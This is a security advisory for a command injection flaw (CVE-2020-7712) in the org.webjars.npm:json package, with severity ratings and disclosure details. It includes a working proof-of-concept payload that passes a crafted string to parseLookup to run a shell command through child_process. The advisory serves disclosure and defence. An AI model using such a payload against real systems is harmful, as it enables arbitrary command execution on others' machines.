

Command Injection

Affecting org.webjars.npm:json package, versions [0,]

INTRODUCED: 6 AUG 2020
CVE-2020-7712 ⓘ
CWE-78 ⓘ

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How to fix?

There is no fixed version for org.webjars.npm:json .

Overview

org.webjars.npm:json is an a 'json' command for massaging and processing JSON on the command line

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands using the parseLookup function.

PoC

```

const json = require('json');

res = json.parseLookup('{{[this.constructor.constructor("return process")
()].mainModule.require("child_process").execSync("id").toString()}}'); console.log(res);

```

References

- [GitHub Issue](#)
- [GitHub PR](#)

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Exploit Maturity	Proof of concept ⓘ
Attack Complexity	Low ⓘ
Privileges Required	HIGH ⓘ
Confidentiality	HIGH ⓘ
Integrity	HIGH ⓘ
Availability	HIGH ⓘ

See more

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7.2 HIGH

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Snyk ID	SNYK-JAVA-ORGWEBJARSNPM-608931
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Disclosed	6 Aug 2020
Credit	po6ix

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